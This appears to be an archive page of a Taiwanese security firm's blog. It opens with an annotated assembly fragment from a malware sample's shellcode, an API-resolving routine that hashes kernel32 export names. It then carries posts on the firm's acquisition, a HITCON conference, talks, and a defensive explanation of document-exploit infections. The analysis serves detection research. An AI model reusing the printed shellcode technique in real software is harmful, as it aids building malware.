093C ror     esi, 7          ;     |
093F add     esi, edx        ;     |
0941 inc     eax             ;     |
0942 jmp     short loc_935   ;     \
0944 ; ------------------------------------------------------
0944
0944 loc_944:                ; CODE XREF: get_func+24j
0944 cmp     [edi], esi      ; Compare the current checksum
0944                         ; against the checksum list
0946 pop     esi
0947 jnz     short loc_92E   ; if not equal iterate to the next
0947                         ; function in the export table
0949 pop     edx
094A mov     ebp, ebx        ;  / Obtain the function's entry address
094C mov     ebx, [edx+24h]  ;  | directly by parsing
094F add     ebx, ebp        ;  | kernel32.dll structure
0951 mov     cx, [ebx+ecx*2] ;  |
0955 mov     ebx, [edx+1Ch]  ;  |
0958 add     ebx, ebp        ;  |
095A mov     eax, [ebx+ecx*4];  |
095D add     eax, ebp        ;  |
095F stosd                   ;  \ Replace the function's checksum
095F                         ;    with its handle
0960 pop     esi
0961 pop     edi
0962 add     edi, 4          ; Move on to the next checksum
0962                         ; in the list
0965 pop     eax
0966 pop     ebx
0967 retn
0967 get_func endp
大致上就是這樣子。由於架構完整並內含數個較新的技術,我們認為 docx.image 架構會成為以後惡意文件攻擊的樣版。若有興趣對於分析內容做討論,或討論其他樣本,歡迎聯絡阿碼的 Wayne

繼續閱讀全文...

2013年8月9日

阿碼科技即將被 Proofpoint Inc. 併購

各位一直以來支持著阿碼的朋友:

今天,是阿碼放煙火慶祝的日子!

今天,我們帶著無比興奮的心情,跟各位報告:阿碼科技即將被美國NASDAQ上市公司 Proofpoint 併購,成為 Proofpoint 旗下的子公司!(Proofpiont 新聞稿)

這個併購案能夠這麼成功,我必須感謝過去兩年跟我一起打拼的阿碼同事,以及一路上支持我們的許多朋友。謝謝你們!

過去這兩年,是我生命中最快樂的日子。能夠跟一群有默契,感情好,像一家人一樣的朋友們一起工作,能夠感覺到我們不斷在深入、在創新、在突破、在學習、在進步、在幫助客戶、在創造不可能,這種感覺實在是太過癮、太值得了!這不是金錢可以買得到的,感謝阿碼讓我有這個機會,在我生命的黃金歲月中,創造出了這麼美好的回憶!我實在是太幸運了!

從Gartner最新於2013年公佈之Magic Quadrant for Secure Email Gateways報告,我們可以看到,今天的Proofpoint,已於眾Email廠商中,佔據了鮮明的領導地位:



這一次,Proofpoint能夠於眾多對手中脫穎而出,主要靠的,就是阿碼與Proofpoint於今年年初共同推出的Email針對性攻擊防禦方案。針對性攻擊,英文為「APT、Advanced Persistent Threat」,直譯為「先進持續性威脅」。在APT攻擊中,攻擊者長期鎖定攻擊目標,並結合多種方法(情報、社交工程、先進攻擊技術…)達成攻擊。在這種攻擊中,最常用的管道之一,就是透過Email。攻擊者將惡意的連結(URL)或文件(PDF、Word、Excel、Powerpoint、RTF…),透過Email寄給鎖定之目標,並結合情報或社交工程之手法,讓整個Email看起來合理、正常,取得目標之信任,引誘其打開連結或附檔,而導致電腦感染惡意程式。

但是,即使目標被誘導後,把惡意網址或附件給「點了下去」,又如何被感染?為何這種攻擊可以躲過防毒軟體、UTM、以及一般的Email安全設備的掃描?要探究原理,故事就要從防毒的身世說起:「大部分防毒的起源,都是針對PC上面的病毒或惡意程式來做掃描」。這句話的重點,不在於「病毒」或「惡意程式」,而在於「PC」。PC(桌機、筆電)是運算能力非常有限的,因此一路以來,防毒技術的重點,在於如何不吃掉PC上大部分資源下,如何能夠儘快掃出病毒。畢竟,誰會喜歡用一個一開機就吃掉你筆電一半的資源,讓你電池續航力立刻減半的防毒產品?

網路崛起後,防毒公司發現了新大陸:他們可以將引擎,授權給網路設備商,舉凡各種網路gateway、Email gateway、Email伺服器、UTM、或甚至防火牆,都可以是他們整合的對象。看似很不錯的策略,卻也更加速地將防毒技術的方向,往「快速比對」方面引導。這些身負處理極大流量的設備,要即時能夠偵測出威脅,就必須在一瞬間做出判斷。在這個年代中,出身已經受限的防毒技術,又更加地被引導於「特徵比對」方面的技術深耕。

2000年初開始,惡意程式散播的方式,發生了幾種根本性的改變:
a) 逐漸從原本靠複製來散播,改成了靠攻擊弱點來散播
b) 整個攻擊感染的過程,開始decouple,拆成分散但合作的組件
c) 腳本語言(script languages)開始在攻擊過程中扮演重要的角色

這幾種根本性的變化,讓一直以來都是以特徵比對為主的防毒技術,頓時失守,並很難有所突破。

當然,一路以來,防毒產業並不是沒有創新。例如2000初紅過好一陣子的沙盒檢測技術( SandBox),在當時來說,是一種創新的思維:不靠特徵比對,而靠行為分析,來偵測出最新的威脅。當時沙盒技術沒有很成功原因,在於當時的思維仍被既有之防毒產業徹底框住,而仍把對象設定於使用者的PC上,也因此,不論沙盒技術多強,仍面臨到PC上資源拮据、環境混亂、行為複雜等問題。有些廠商想到把沙盒技術放在獨立的硬體上面來執行,以克服運算量的問題。這是很好的第一步,但是這種作法仍然無法有效運用到今天的雲端技術。

我這樣說好了。我們問一個關鍵的問題:當我們增加運算量時,防毒的掃描率是否會跟著提昇?答案是否定的; 這表示,防毒產業很難利用到目前突飛猛進的雲端技術。別誤會,防毒還是可以利用雲端來提昇掃描的「量」,但是卻很難用雲端技術來提昇掃描的「質」,也就是偵測率。

過去兩年在阿碼,我們的目標是:針對「次世代攻擊」,建立一個檢測平台,其偵測率是可以隨著運算量的提昇而提昇的。我們將一些很不錯的檢測分析技術,改在雲端上運算。我們設計技術的原則,不再是「如何在有限資源下,做出最好的檢測」,而是:「如何利用雲端龐大的運算量,來測出以往測不到的威脅」。在這種新思維下創造出來的技術,跟傳統技術非常不一樣,可說是開創了全新的威脅分析路線。也只有這種創新,才能讓我們擺脫過去的包袱,充分利用最新的技術,一反以往資安廠商的劣勢,掌握偵測次世代威脅的關鍵。這也是為何Proofpoint自從用了阿碼的技術後,就一直積極要併購阿碼的原因!

Proofpoint目前於市場上新推出的「Target Attack Protection (TAP) 針對性攻擊檢測」,就是利用阿碼的技術來完成的。TAP掃描Email中的網址與附件,自推出以來,不斷受到客戶的肯定,在Email安全界掀起了一股旋風,也讓Proofpoint於這次Gartner 2013對Email安全廠商的評鑑中,能夠脫穎而出,成為最具創新力之龍頭廠商!

其實就我們這幾年所看到的,所研究的「次世代攻擊」,遠不止於APT類型攻擊。舉個例子,在APT攻擊精神中,很重要的一環,就是目標的鎖定與範圍的定義。縮小攻擊範圍並提高針對性,可以減少攻擊曝光的機率,進而延長攻擊的壽命。這種需求,剛好跟網路上的廣告產業是一樣的:針對性、鎖定範圍、辨識機器人(如爬蟲)與真人…等。

例如,對於廣告商來說,廣告給了機器人,等於廣告商白付了錢,所以廣告平台在這方面下了不少苦工。而對於APT攻擊者來說,惡意攻擊吐給了機器人(阿碼的爬蟲),等於自投羅網,暴露行蹤,所以APT的工具,在這方面也下功夫。由於兩者需求相同,2009年後,許多攻擊轉而利用網路廣告平台既有之功能,而形成一種新型、有效,難以偵測的威脅,我們稱為「惡意廣告攻擊」,在我們來看,也算是一種「次世代攻擊」。

而對於阿碼來說,這是我們即將起飛的前夕,真可說是十年苦修,就待今朝!尤其過去兩年中,我們潛心打造我們阿碼新一代的檢測技術,重寫所有的系統,並開發了我們獨家的威脅描述語言與比對引擎Vicara。擁有了全新的雲端的平台與全新的檢測核心,現在再加上Proofpoint完整的Email安全解決方案,讓我們無比地興奮,如虎添翼的Proofpoint與阿碼科技,不但在Email APT產品方面將是全球最強,同時Proofpoint也將給阿碼科技更多資源,讓我們加速整個HackAlert Suite雲端產品線下面的每個產品 — 包含 HackAlert Website Monitoring網站掛馬檢測平台、HackAlert SafeImpression惡意廣告掃描平台、HackAlert Vulnerability Assessment弱點掃描平台、以及HackAlert CodeSecure源碼檢測平台!

一方面,透過Proofpoint充足的資源與在雲端方面的經驗,我們HackAlert Suite產品線中的各個產品,將會能夠加速創新、進步與演進,另一方面,透過Proofpoint全球完整的業務與客服編制,我們將能夠幫助到全球更多、更廣的客戶,讓我們設計創新出來的諸多產品,能夠在全球更有影響力,讓更多企業能夠體會到我們產品的好處!

各位,在全球資安界的舞台上,阿碼從一個台灣出來的小球員,一步一步地努力,今天終於要開始天天上大聯盟季後賽揮灑了。我們以無比興奮的心情,在這邊感謝各位,一路上交了許多朋友,也是受到了這麼多朋友一路上真心的幫忙,阿碼才能夠走到今天。謝謝各位一直以來對我們的支持,我們會永遠記得並珍惜!同時也請各位拭目以待,我們將推出全世界最頂尖的次世代攻擊防禦方案!

黃耀文
2013年8月8日



阿碼科技部份同事於 HITCON 2013

繼續閱讀全文...

2013年7月20日

賀 台灣駭客年會 #HITCON 2013 大成功!


這次台灣駭客年會第一階段售票時,我剛好在西雅圖出差。這次阿碼有四十位同事希望參加,怕買不到票,所以之前就請同事規劃好,先讀過相關資訊,把資料準備好,務必一開賣就趕快買。原本想一定沒有問題,沒想到出差時,同事跟我說,所有的票三分鐘內就賣光了,我們票買不夠,到等第二階段。什麼?有沒有聽錯啊?結果第二階段,也是三分鐘內賣光,還好我們買足了。

在台灣辦資安研討會,辦到所有票都在三分鐘內被搶光,這是我之前從沒想過能發生的。我個人對於資安研討會的籌劃與執行,非常感興趣,除了有時去國外的研討會外,自己也在台灣辦過幾場會議。經歷過的朋友就知道,幾年前,要於台灣辦一場高品質的資安研討會,起初是多麼的困難!比起許多國家,台灣資安社群並不能說大,若單靠國內的支持,無論在與會人數或經費的取得上,都是很大的挑戰。向外考慮亞洲其他國家,也不容易:一方面旅費高,一方面則是亞洲各國語言不同。

所以要辦一場成功的資安研討會,從講師的邀請,到內容的品質,到經費的募集,到場地的選擇,到方向與調性的定義,到語言問題的克服,到報名系統,到帳務與發票,到報到的通知,颱風的備案... 有太多的細節,需要工作人員日以繼夜的努力,有太多的挑戰,牽涉的是大環境的限制,需要的是工作人員達成不可能任務的心。這其間的艱難與犧牲,只有參與過的工作人員,才能夠體會。

到今年,台灣駭客年會能夠辦一場講師來自世界各地,一共三個 track 同時進行的資安研討會,這是五年前,幾乎無法想像的!今天,一方面珍惜我們買到的四十張票,一方面也是被搶票的熱烈嚇到,阿碼的同事一大早就來排隊了。進了會場,參加完一整天的會議後,我們的感覺是:只要堅持理想,天下無難事!整個會議的進行,若不是聽眾都是黑頭髮,有時還真覺得,是在國外參加研討會。今年這里程碑,代表的不只是 HITCON 的發展,也代表了台灣資安社群的成長。在這邊,我們用興奮的心情,恭喜 台灣駭客年會 HITCON 2013 大成功,也謝謝工作人員的付出!

以下我們放一些我們團體於 HITCON 2013 的照片,為我們阿碼此次的參與 HITCON 2013,留下大家共同的回憶。大家辛苦啦!
HITCON 2013 的照片,要等他們公布了,演講廳內除工作人員外,不能夠拍照)




繼續閱讀全文...

2013年4月8日

4月26日,讓我們一起發動...一場改變資安規則的創新革命!

各位朋友,使用者,讀者,長官,合作夥伴,我們想邀請各位,於4月26日世貿資安展,與我們一起發動 一場改變資安規則的創新革命!

您是否厭倦了身為一個台灣資安人所面臨的無奈?
您是否看膩了每年資安廠商的行銷簡報?
您是否質疑「針對性攻擊(APT)」,是否真有其威脅性?
您是否懷疑,當初走上資安這條路的選擇?
您是否在為個資法的實施煩心?
您是否想知道,駭客最新的手法究竟有哪些?
您是否好奇,阿碼最近到底在做些什麼?阿碼背後用的技術,又都是什麼?
您是否想與阿碼背後的工程團隊見面?
您是否想問,為何阿碼瞬間多了35位道德駭客(CEH)?

經過實驗室的四年與公司成立的七年,我們將於4月26日世貿資安展,公開一場阿碼有史以來最重要的一次演講。對我們來說,在過去的十年中,再也沒有比這場演講,更重要的演講、paper、或部落格文章了。

以往,我們的演講,大部分都是我一人的獨腳戲;這次,我邀了另外八位同事,與各位分享他們的工作與展望。
以往,我們很少談我們背後用的技術;這次,我們將一一提及。
以往,我們不常分享我們成功的原因;這次,我們將很確實地分享,那些帶給我們成功的關鍵。

也因為如此,我們這場跟其他場次的進行方式不一樣。經過與主辦單位協調,我們這場將由原本標準的40分鐘,延長為70分鐘,為全場最長的演講。

我們保證,這將是阿碼有史以來最不一樣的一場演講!同時,我們也將在演講結束時,發送給各位由 資策會科技法律研究所 著,由研考會 戴副主委豪君、法務部法律事務司 陳司長維練、資策會 張董事長進福、資策會科技法律研究所 何所長寶中 先生們所共同推薦,於今年一月剛熱騰騰出版之:「個資保護 1.0」一書。我們買了170本,大概是現場位子的數量,將先發予座位上的朋友,發完為止!

我們這一場「革命演講」的參加資訊為:

題目:解密最深威脅:APT 鑑識新境界與阿碼願景
地點:第12屆亞太資訊安全論壇暨台北國際資訊安全科技展,南港展覽館 5F 504a (地圖請見此
時間:4/26日(五)11:50am~1:00pm,IS1103場,5F 504a
報名:http://www.secutechinfosecurity.com/13/tw/seminar_register.aspx?ff=5&rr=14

我們的另一場演講,將是一場全台語的演講,主要介紹我們針對 Email 與 APT 方面的解決方案:ProofPoint Target Attack Protection,將由 ProofPoint 原廠講師 Kenneth Liao 與阿碼科技總經理 徐明達 、創辦人 黃耀文同台。
ProofPoint是全球 Email 安全之龍頭品牌,我們自去年起與 ProofPoint 合作,建立了獨步全球的 Email APT 解決方案,並很期待與各位分享我們的成果!

Kenneth Liao目前於美國矽谷帶領 ProofPoint 之業務工程團隊,此次將特地飛來台灣,與我們一起跟各位介紹我們這獨步全球的 Email APT 解決方案。Kenneth Liao父母皆為台灣人,但是因為於美國出生長大,國語不流利,故在英文與台語二選一下,我們選擇了台語。這應該是亞太資安展有史以來第一次的全台語演講,也絕對會是一場您沒有聽過的演講。這場是標準的 40 分鐘,沒有送書。

題目:完整企業Email安全配套: 「APT」、「個資」、「洩密」完封全防線
地點:第12屆亞太資訊安全論壇暨台北國際資訊安全科技展,南港展覽館 5F 504b
時間:4/25日(四)11:50am~12:30pm,IS803場,5F 504b
報名:http://www.secutechinfosecurity.com/13/tw/seminar_register.aspx?ff=5&rr=15

深入、創新,是阿碼的核心精神。我們秉持著深入、創新的精神,這兩年在各方面都獲得了佳績。我們很期待,也很興奮,希望能夠把我們在前線看到的,體驗到的,學到的,領悟到的,與各位分享。尤其是4/26日(五)的「革命演講」,絕對是阿碼有史以來最不一樣的演講!
4月26日世貿資安展,讓我們一起發動一場 改變資安規則的創新革命!

阿碼科技 創辦人
黃耀文 敬上


繼續閱讀全文...

2013年3月4日

阿碼科技於 RSA 推出 APT 偵測與鑑識 API


各位好,久違了!我們團隊剛完成了今年於舊金山的 RSA Conference 展覽;回首過去,我們已經連續七年參展了!我們想藉此機會,在這邊向各位報告阿碼最近努力的方向。我們已經16個月沒有寫部落格了。我們太忙了:許多新的客戶要支援,許多新的威脅要研究,許多新的技術要開發...這種種,使得花時間寫部落格一事,成了一種不具合理性的奢侈。距離我們再次寫部落格,可能還要好幾個月的時間,但是我們想要先在此做個簡短的報告。

過去16個月當中,我們致力於以下方面:


  1. 擴大我們的技術團隊,並且透過課程與考試來刺激並提升團隊的技術。
  2. 完成並推出 HackAlert V5 API,並研發 V6 API;V6 API 將於今年 Q3 推出。
  3. HackAlert V5 API 中加入針對性攻擊(API)的偵測,可偵測的範圍包含各種文件檔案(PDF、Word、Excel、Powerpoint、Access、Project、Exe、網頁、廣告),並產生AFRM- (Armorize Fornsics and Reporting Methodology) 格式的鑑識報告。
  4. 與全球最大之電子郵件安全廠商合作,推出具有多重安全掃瞄之電子郵件服務,其中特別對於針對性攻擊(APT)之防禦以及個資法等需求做設計。
  5. 研發並完成 CodeSecure V5,並開始 CodeSecure V6 之研發。
關於 1) 擴大我們的技術團隊

在這邊我們恭喜在過去六個月內,通過 EC-Council Certified Ethical Hacker (CEH) 「道德駭客認證」的35位同事:Adam Wei (ECC974360),Ain Chang (ECC974345),Alex Ruan (ECC974342),Allan Ku (ECC971799),Angus Wei (ECC974359),Aryan Chen (ECC974344),Carol Ru (ECC974341),Cyndi Wei (ECC974340),Eddie Chou (ECC974362),Eric Liu (ECC971746),Fred Tai (ECC971717),Hsuan Wang (ECC974346),Hyman Pan (ECC971733),Jasmine Chen (ECC974343),Jason Yang (ECC971702),Jeff Lee (ECC971815),Jimmy Huang (ECC974354),Joe Chang (ECC974361),Jordan Forssman,Lance Chang (ECC971730),In-Yee Lee (ECC971736),Mars Fu (ECC971756),Martin Chen (ECC971707),Matt Huang (ECC974356),Max Hsu (ECC974353),Michelle Juan (ECC974363),Paul Chen (ECC974358),Robin Huang (ECC971724),Roger Wang (ECC971813),Susan Chiu (ECC974347),Tom Kao (ECC971805),Van Cheng (ECC974357),Wayne Huang (ECC971814),以及Wilson Chiou (ECC971812)。恭喜他們!

對於我們來說,持續的學習與在職訓練,是保持頂尖技術的關鍵。我們會持續在這方面加強。

關於 2) HackAlert V5 API 的推出

我們於 2009 年推出 HackAlert V3 API,至今,V3 API 已經非常成熟且穩定了。基於 V3 API 的經驗,並導入新的雲端與大量資料技術,我們發產出了三代的 HackAlert API。其中,我們使用了:
  1. Non-relational, elastic storage
  2. Map reduce
  3. Big data technologies
  4. Message queues
  5. Elastic load balancers
  6. Virtualization and dynamic provisioning
  7. Distributed shared memory
  8. Distributed caching
我們於2010年推出了 HackAlert V4 API,主要針對惡意廣告的掃瞄。上星期,於 RSA 2013 年會上,我們推出了 HackAlert V5 API,主要針對電子郵件與針對性攻擊(APT)的掃瞄,以及提供 AFRM 格式的鑑識報告。

HackAlert V5 API 的設計,主要也針對巨量的掃瞄做改進,有足夠的scalability以及穩定性,足以承受如 Google 般的巨量掃瞄。

針對以上提到的惡意廣告之檢測以及電子郵件內容之檢測,阿碼都很幸運地旗開得勝,兩個應用第一個簽約的客戶,都是該領域全球最大的廠商!

HackAlert V3 以及 V4,也因此到達了產品生命週期的尾聲。自2012年11月開始,新的客戶已經不能取得 V3 或 V4,我們也正協助所有既有客戶移植到 HackAlert V5 API 上面。

HackAlert V6 API 則重新寫了所有既有的元件,包含底層的偵測元件,都是全部從零開始重寫的。HackAlert V6 API 預計今天 3Q 上市,服務所有的客戶。



關於 4) 與電子郵件安全龍頭合作

承上述,HackAlert V5 API 一推出,就吸引了業界電子郵件安全之龍頭廠商使用,也將阿碼的技術,帶入了一個新的領域。與此龍頭廠商合作,我們體會到,除了 APT 的偵測之外,email 安全的整體 solution 應包含:
  1. DLP:Email 的內容以及附件,應該深入搜尋分析,找出任何含有個資與機密的文件,配合公司 制訂之規則 (policy) 加以控管。規則要有好的 UI 來定義與整理。
  2. 通報的方式要具有彈性:由於當外送的 email 違反了公司的規定時,通報過程敏感,故不應該所有事件都統一通報 IT 主管。例如 當 HR 部門外送了一份含有個人資料的履歷,那麼該通知誰?抑或 RD 部門,外送了一份還有機密資料的文件,則又應該通知誰?哪些行為,直接退回郵件,哪些是經過審查可以放行,哪些則是需要通報違規?若高階主管寄給下屬的信中,具有不雅字眼,或騷擾性字眼,則又該通知誰?
  3. 規則要可以訂得深入。例如 APT 攻擊中的 PDF 檔案,若存在於有密碼之壓縮檔中,則可能不容易解開來掃瞄。那麼,公司是否允接收許有密碼的壓縮檔?外送的檔案呢?
  4. 透過 email 的附檔,可以了解公司內部,所擁有的檔案到底有多少,並追蹤版本。如果聯合網路磁碟機(SMB)與 Sharepoint 的外掛等,怎可以逐漸把公司內部所有檔案加以追蹤並保存,以及統計,哪些檔案的哪些版本,被分享給哪些人了?在個資法開始後的今天,這些功能格外重要。
  5. 攻擊圖譜與報告。即使是針對性攻擊,也可能有多個目標。針對某攻擊事件,可以清楚地表示出,有誰收到攻擊了?有誰開了檔?有誰按了連結?惡意程式做什麼事情?連回哪裡去?這些資訊要能盡量自動產生,才能在第一時間,對 IT 人員產生幫助。
基於以上,我們與該電子郵件龍頭相互合作,對方全球客戶,統一由阿碼科技 HackAlert V5 API 負責掃瞄 URL與附檔的安全性,而我們則取得對於於亞洲之銷售權,得以提供對方之解決方案與我們亞洲之客戶使用。此相互授權,讓我們的客戶能夠獲得最高品質的技術與服務:在 APT 針對性攻擊方面,有阿碼獨步全球的掃瞄引擎,在其他電子郵件安全方面,則有全球最先進,最完整的平台,並由阿碼科技就近提供服務。

關於 3) 針對性攻擊(API)的偵測與 AFRM 鑑識報告

這一段,太多專有名詞了,似乎用中文不容易翻譯,我們先保留原文。這段的重點是,我們發明了 AFRM 鑑識報告,讓使用者可以很簡單明瞭地透過我們的鑑識報告,來了解一個攻擊中間發生的所有事情,以及所有行為的來龍去脈。

AFRM-based reporting is an important new feature of the HackAlert V5 API. For every scan you submit to the HackAlert service (ex: online ad, URL, malware, document exploit), you will get a detailed, aggregated forensics report, laid out according to the Armorize Forensics Reporting Methodology (AFRM). AFRM enables you to easily comprehend the returned forensics data, and to use it for your own further analysis. AFRM reports include:
  1. Scene details (eg., URL, ad tag, PDF document).
  2. Aggregated interpretations (eg., “malicious”, “blacklisted”).
  3. Aggregated proofs (eg., “drive-by download”, “registry modification”, “process injection”). Proofs provide support for interpretations.
  4. Aggregated exhibits (eg., code snippet of shellcode, code snippet of exploit code, code snippet of HTTP responses, parameters of API calls, sections of binary files). Exhibits are sections of evidences that provide support for proofs.
  5. Aggregated evidences (eg., HTTP response, API calls, binary files).
  6. Evidence correlations (eg., Javascript 1 (Exhibit A) --> document.write (Exhibit B) --> Javascript 2 (Exhibit C) --> Load iframe 3 (Exhibit D)).
You will know exactly what a target is made up of, what it tries to do, where the attack is coming from, and the causality relationships between the collected evidences.

Exploit-Based Malware Infections

To explain AFRM, we first take a look at the exploit-based malware infection (EBMI) process, which is a widely used attack vector in Advanced Persistent Threats (APT). In EBMI, the victim is infected via opening a malicious document, often referred to as a document exploit. Common document exploit formats used in EBMI include Web pages, PDF files, Word files, Powerpoint files, Excel files, and Flash files embedded inside one of the previous types.

Phase 1: Exploit delivery and shellcode execution

During EBMI phase 1, the victim opens a document via a (document) renderer–defined as a software program that displays the document. Common (document, renderer) pairs include: (Web page, Web browser), (Web page containing flash, Web browser with flash support or plug-in), (Web page containing Java applets, Web browser with applet support / JRE), (PDF document, PDF reader), (Word document, MS Word), (Excel document, MS Excel), (Powerpoint document, MS Powerpoint), etc.

The document here, being malicious, is referred to as a document exploit. It contains mechanisms to exploit vulnerabilities either directly inside the renderer itself, or inside one of the renderer’s installed plug-ins (eg., Flash, Java applet, Real player, etc). If the exploited vulnerability is unknown to the renderer provider (vendor), then it is called a 0-day exploit.

This exploitation code (the exploit) is often implemented using scripting languages (eg., Javascript, Actionscript, VBScript, VBA) Two key factors make scripting languages extremely useful for this purpose: a) they provide the functionality needed to exploit the targeted vulnerability and b) being interpreted languages, it is very easy to obfuscate the exploitation code, thus making detection difficult.

Common (renderer, scripting language) pairs include (Web browsers, Javascript), (Flash, Actionscript), (PDF, JScript), (Office documents, VBA macros). Note that Javascript, Actionscript, and JScript are all ECMA-based scripting languages.

The following attacks leverage an EBMI process: a) drive-by download attacks, b) malvertising attacks, c) URL-based email attacks, and d) attachment-based email attacks. In (a) (b) and (c), the browser ultimately loads a Web page served by an exploit pack, which serves polymorphic Web-page exploits. The server that hosts the exploit pack is called the exploit server, and the involved URLs are called the exploit URLs.

Phase 2: Malware execution

When a document exploit is opened and upon successful exploitation, a dropper is often created on disk and executed. The dropper can either be the actual malware, or it can be just a tiny executable whose sole job is to download the actual malware over Internet.

In order to permanently infect the compromised system, the malware will often a) move itself to permanent disk locations and b) modify system configuration (eg., registry settings) so as to be auto executed upon every system startup. In order to hide itself from security checkers and users, the malware will often a) rename itself to seemingly legitimate filenames or b) arrange for alternative, less detectable and higher-privileged methods of execution, for example, using process injection.

Once permanently installed, the malware will typically start to a) connect back home to the command-and-control (CNC) server, or to b) send the collected information back to the attacker.

Using the HackAlert V5 API, you will not only be able to detect EBMI, but also receive detailed forensics reports on exactly what had happened during the two EBMI phases.

關於 5) CodeSecure V5 的推出

CodeSecure V4 是我們第一次推出純軟體式的 CodeSecure。相較於 CodeSecure V3,CodeSecure V4 更具彈性與可攜性。然而,我們就像是從通盤掌握軟硬體的 Apple,變成了只掌握軟體 Android 的 Google 一樣,在陌生不受我們控制的平台上執行 CodeSecure V4,多少遇到一些前所未有的困難。

CodeSecure V5 改善了不少這方面的問題,同時也在速度以及涵蓋性上面有了大幅的突破。去年,我成功地說服了我六位交大的同學與室友,放棄了他們很好的工作,來加入阿碼的行列。其中之一是 Martin Chen,我跟他從大學時之前籌備蛋糕社,佛學營,一直到現在,長期配合起來非常有默契。他是新的 CodeSecure 掌舵者,並另外寫了他自己的一篇部落格。我將這令人興奮的 CodeSecure V5 上市,留給他介紹。


繼續閱讀全文...